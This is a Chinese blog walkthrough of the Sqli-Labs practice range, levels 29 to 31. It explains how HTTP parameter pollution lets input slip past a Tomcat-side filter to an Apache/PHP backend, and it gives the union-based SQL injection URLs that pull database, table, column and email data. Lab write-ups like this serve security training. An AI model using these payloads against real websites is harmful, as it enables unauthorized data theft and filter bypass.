基于Sqli-Labs靶场的SQL注入-29~31关

2023-11-15

目录

Less-29-基于GET_双服务器_单引号_字符型注入

双服务器解析

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less-30-基于GET_双服务器_双引号_字符型注入

Less-31-基于GET_双服务器_双引号加括号_字符型注入

总结

 

 


Less-29-基于GET_双服务器_单引号_字符型注入


        首先进入29关:        可以看到页面说:“该网站由世界上最好的防火墙保护”。我们就来攻破这个防火墙。

        这一关可以使用联合注入,非常简单。但是这里我要使用HTTP参数污染攻击去攻击这个网站。

        我们先测试以下注入点,输入语句:

?id=1\

        页面回显:

        可以看到注入点是单引号。 

        因为这一关中涉及到了双服务器,所以这里我简单讲一下双服务器的工作原理。

双服务器解析


        在这一关中服务器端由两个部分组成:第一部分是以 Tomcat 为引擎的 jsp型服务器,第二部分是以 Apache 为引擎的 php服务器,真正提供web服务的是以 Apache 为引擎的 php服务器。也就是这个服务器决定页面最终回显什么。

        下图是双服务器工作原理示意图:

        其工作流程为:client访问服务器,能直接访问到 Tomcat服务器,然后 Tomcat服务器再向Apache服务器请求数据。数据返回路径则相反。 

        那么我们如果输入语句:

?id=1&&id=2

        那么根据上图的工作原理,你们觉得页面应该返回哪个数据呢?

        客户端请求首先过 Tomcat服务器,Tomcat服务器解析第一个参数,接下来 Tomcat服务器去请求 Apache(php)服务器,Apache服务器解析最后一个参数。

        所以说此处应该返回的是 id=2 的用户的信息,因为实际上提供服务的是 Apache(php)服务器,返回的数据也应该是经过 Apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在Tomcat服务器处做数据过滤和处理,功能类似为一个WAF(web应用防护系统)。而正因为解析参数的位置不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),HTTP参数污染攻击的一个应用。HPP对服务器和客户端都能够造成一定的威胁。

        下图是各种服务器解析参数位置的示意图:

        可以看到 Apache服务器解析的是最后一个参数,Tomcat服务器解析的是第一个参数。不同的参数由不同的服务器去解析。

        所以说我们写注入语句的时候要写到最后一个参数的后面,因为如果我们写到了第一个参数后面的话,第一个参数是给 Tomcat服务器解析的,而一般程序都会在 Tomcat服务器做数据过滤的处理,那我们输入的注入语句很可能就被过滤了,并不会将我们输入的注入语句传给真正控制页面回显的 Apache服务器。但是我们可以利用不同服务器对参数解析位置的不同直接将注入语句写入到最后一个参数后面,那这样我们的注入语句就绕过 Tomcat服务器直接传入到 Apache服务器中了,这样就攻击成功了。

        我们可以测试一下,首先我们将注入语句写到第一个参数后面:

?id=0' union select 1,2,3--+&&id=2

        页面回显:

        可以看到页面依旧回显 id=2 的用户的信息,我们的注入语句完全无效。接下来我们输入到最后一个参数后做测试:

?id=1&&id=0' union select 1,2,3 --+

        页面回显:

        可以看到成功回显了页面的显示位。攻击成功了,接下来就使用联合注入就可以了。

爆破数据库名


        输入语句:

?id=1&&id=2' union select 1,database(),3 --+

        页面回显:
         可以看到成功爆破数据库名字。

爆破表名


        输入语句:

?id=1&&id=2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

        页面回显:

        可以看到成功爆破了表名。

爆破列名


        输入语句:

?id=1&&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+

        页面回显:

        可以看到成功爆破了表 emails 的列名。 

爆破字段值


        输入语句:

?id=1&&id=0' union select 1,group_concat(id,email_id),3 from emails --+

        页面回显:

        可以看到成功爆破了表 emails 的字段值。 

        到此29关就结束了。

Less-30-基于GET_双服务器_双引号_字符型注入


        这一关除了注入点和29关不同外其余都一样,30关的注入点为双引号。

Less-31-基于GET_双服务器_双引号加括号_字符型注入


        这一关除了注入点和29关不一样外其余都一样,31关注入点为 ") 。

总结


        这一篇博客我主要将了HTTP参数污染攻击。同时讲了一下双服务器的工作原理。 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Sqli-Labs靶场的SQL注入-29~31关 的相关文章

随机推荐

  • 02-工厂模式

    文章目录 1 简单工厂模式 2 工厂方法模式 3 抽象工厂模式 4 模式扩展 5 工厂模式在JDK中的应用 需求 设计一个咖啡店点餐系统 设计一个咖啡类 Coffee 并定义其两个子类 美式咖啡 AmericanCoffee 和拿铁咖啡 L
  • qt5中信号和槽连接,对于多种参数重载的处理

    因为QSpinBox的valueChanged信号有重载 为避免二义性 需要通过声明函数指针方式 来进行信号和槽的连接 void QSpinBox p int QSpinBox valueChanged 函数指针p前要加类名作用域符号 co
  • 假设u~N(0, 1), X

    假设 N 0 1 X
  • API HOOK

    本来这个方法是API HOOK中经常用到 但是我想试试在单个程序中实现 为何运行时总是错误 本来是一个函数跳另外一个的 我又后退了一步 只是用一个函数自己的前面8字节修改自己 还是会错误了 void CJmpDlg OnButton1 对应
  • JDBC 连接池配置文件 解决了already close问题

    XML文件 DataSource配置
  • 生命周期BeanPostProcessor(3)---Spring源码从入门到精通(九)

    上篇文章主要介绍了Bean生命周期 bean生命周期 创建bean gt 初始化init gt 销毁destory 而初始化和销毁是可以用 Bean指定的 或者用 PostCoustruct preDestory注解 或者用Initiali
  • 两个多项式相加算法(链表实现)

    来源 数据结构期中考试补充题 注 该代码测试数据较少 吃过晚饭有时间再测试下改改bug QAQ 多项式相加 include
  • Python3运行报错:TypeError: Object of type ‘type‘ is not JSON serializable解决方法(不是针对对象转Json的方法)

    问题描述 Python内置的json模块提供了非常完善的Python对象到JSON格式的转换 json dumps 将Python中的对象转换为JSON中的字符串对象 json loads 将JSON中的字符串对象转换为Python中的对象
  • OpenSystemArchitect从入门到放弃

    原因 pd每次建立外键都自动生成字段 这个设置找不到解决方案 就想着有不有替代pd的工具 结果百度 还真有 用OpenSystemArchitect的原因 开源免费 他的外键直观的展示2个表的关系 逻辑视图的支持 放弃 文档不全 好多问题没
  • YUM仓库及NFS共享服务理论

    文章目录 一 YUM仓库 1 YUM概述 2 准备安装源 3 访问YUM仓库 二 FNS共享存储服务 1 NFS概念 2 NFS使用场景 3 NFS服务 一 YUM仓库 1 YUM概述 YUM Yellow dog Updater Modi
  • Allegro添加相对传输延迟的等长规则设置

    怎么去添加相对传输延迟的等长规则 首先讲述的是通过直接添加法去添加 直接添加法只适用于点对点的传输模式 中间没有任何串阻 串容的情况 具体操作如下所示 01 打开规则管理器 打开规则管理器 执行菜单命令Setup Constraints 在
  • 抖之恒科技python常用库之工具库schema

    在Python编程语言中 有众多的开源库可以帮助程序员更加高效地完成各种任务 其中 Schema就是一款非常实用的工具库之一 本文将为您介绍Schema库的基本概念 使用方法以及它在Python编程中重要性 一 什么是Schema Sche
  • Koin入门使用

    一 简单流程 1 创建Koin容器 startKoin 创建一个Koin容器并注册到GlobalContext中 modules module 配置Koin模块并注入到Koin容器 2 创建Koin模块 class People val k
  • HDU1007(最近点对问题)

    题意不难理解 就是找到最近的两个点 计算其距离 除以2就是所求的圆的半径 思路很简单 运用分治的思想 先划分区间 分别找到左右区间中的最近点对 再合并区间 找到区间间的最近点对 注意如果用qsort 进行排序可能会超时 include
  • Qi v1.2.4 -- WPC官方文档资源下载

    WPC无线充电联盟QI协议1 2 4 zip qi 嵌入式文档类资源 CSDN下载QI协议part1 part2 part3 part4完整版 没有积分可使用链接 链接 httpqi更多下载资源 学习资料请访问CSDN下载频道 https
  • 剑指offer-42翻转单词顺序-左旋转字符串

    先来一道简单题 将字符串左旋 输入abcdefg 输出cdefgab package Leetcode Author YCKJ3803 Date 2021 3 1 16 41 Description public class Zuoxuan
  • Java概述(了解java开发及背景)

    目录 一 java语言背景介绍 Java 语言的三个版本 JavaSE JavaME JavaEE 二 Java跨平台原理 三 JRE和JDK Java 程序开发的三个步骤 编写代码 编译代码 运行代码 JDK JRE 和 JVM 的关系
  • 初学JAVA的变量作用域

    变量的范围是程序中该变量可以被引用的部分 方法内定义的变量被称为局部变量 局部变量的作用范围从声明开始 直到包含它的块结束 局部变量必须声明才可以使用 方法的参数范围涵盖整个方法 参数实际上是一个局部变量 for循环的初始化部分声明的变量
  • 简单springboot及springboot cloud环境搭建

    springboot使用特定的方式 简化了spring的各种xml配置文件 并通过maven或者gradle 完成所需依赖 使用springboot maven插件 可直接输出可运行的jar包 省去了tomcat等容器的部署 使得基于htt
  • 基于Sqli-Labs靶场的SQL注入-29~31关

    目录 Less 29 基于GET 双服务器 单引号 字符型注入 双服务器解析 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 30 基于GET 双服务器 双引号 字符型注入 Less 31 基于GET 双服务器 双引号加括号 字符型